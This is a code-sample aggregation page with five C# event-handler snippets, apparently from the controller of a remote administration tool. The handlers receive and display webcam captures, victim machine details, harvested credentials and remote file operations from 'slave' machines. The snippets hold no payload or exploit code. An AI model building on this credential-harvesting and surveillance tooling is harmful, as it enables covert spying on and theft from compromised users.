Пример #1
0
 /// <summary>
 ///
 /// </summary>
 /// <param name="ev"></param>
 public override async void OnEvent(SlaveEvent ev)
 {
     base.OnEvent(ev);
     await this.ExecuteInDispatcher(() =>
     {
         switch ((SlaveEventType)ev.EventType)
         {
         case SlaveEventType.IncommingMessage:
             {
                 ev.Data.Match().With <WebcamCaptureMessage>(UpdateScreenCapture);
                 break;
             }
         }
     });
 }
Пример #2
0
 /// <summary>
 ///
 /// </summary>
 /// <param name="ev"></param>
 public void OnEvent(SlaveEvent ev)
 {
     switch ((SlaveEventType)ev.EventType)
     {
     case SlaveEventType.IncommingMessage:
     {
         ev.Data.Match()
         .With <GreetTheMasterMessage>(m =>
             {
                 if (ev.Source.Initialize(m.Ip, m.OperatingSystem, m.MachineName, m.UserName))
                 {
                     FireSlaveConnected(ev.Source);
                 }
             })
         .With <PongMessage>(m => ev.Source.DecrementPingTimeout());
         break;
     }
     }
 }
Пример #3
0
 /// <summary>
 ///
 /// </summary>
 /// <param name="ev"></param>
 public override async void OnEvent(SlaveEvent ev)
 {
     base.OnEvent(ev);
     await this.ExecuteInDispatcher(() =>
     {
         switch ((SlaveEventType)ev.EventType)
         {
         case SlaveEventType.IncommingMessage:
             {
                 ev.Data.Match()
                 .With <CredentialsMessage>(message =>
                 {
                     CredentialsList.ItemsSource = message.Credentials.Select(c => c.Dictionary).ToArray();
                 });
                 break;
             }
         }
     });
 }
Пример #4
0
 /// <summary>
 ///
 /// </summary>
 /// <param name="ev"></param>
 public override async void OnEvent(SlaveEvent ev)
 {
     base.OnEvent(ev);
     await this.ExecuteInDispatcher(() =>
     {
         switch ((SlaveEventType)ev.EventType)
         {
         case SlaveEventType.IncommingMessage:
             {
                 ev.Data.Match()
                 .With <FolderNavigationMessage>(m =>
                 {
                     TxtBoxDirectory.Text = m.Path;
                     ViewModelFiles.Items.Clear();
                     m.Files.ForEach(ViewModelFiles.AddItem);
                 })
                 .With <DownloadedFilePartMessage>(m =>
                 {
                     UpdateCommand(m, command =>
                     {
                         command.Completed = m.CurrentPart >= m.TotalPart;
                         command.UpdateProgression(m.CurrentPart + 1, m.TotalPart);
                     });
                 })
                 .With <UploadProgressMessage>(m =>
                 {
                     // will be received when the slave download the file
                     UpdateCommand(m, command =>
                     {
                         command.Completed = m.Percentage == -1;
                         if (!command.Completed)
                         {
                             command.UpdateProgression(m.Percentage, 100);
                         }
                     });
                 })
                 .With <FileDeletionMessage>(m => NavigateToTypedFolder());
                 break;
             }
         }
     });
 }
Пример #5
0
 /// <summary>
 ///
 /// </summary>
 /// <param name="ev"></param>
 public static void PostEvent(SlaveEvent ev) => SlaveEvents.PostEvent(ev);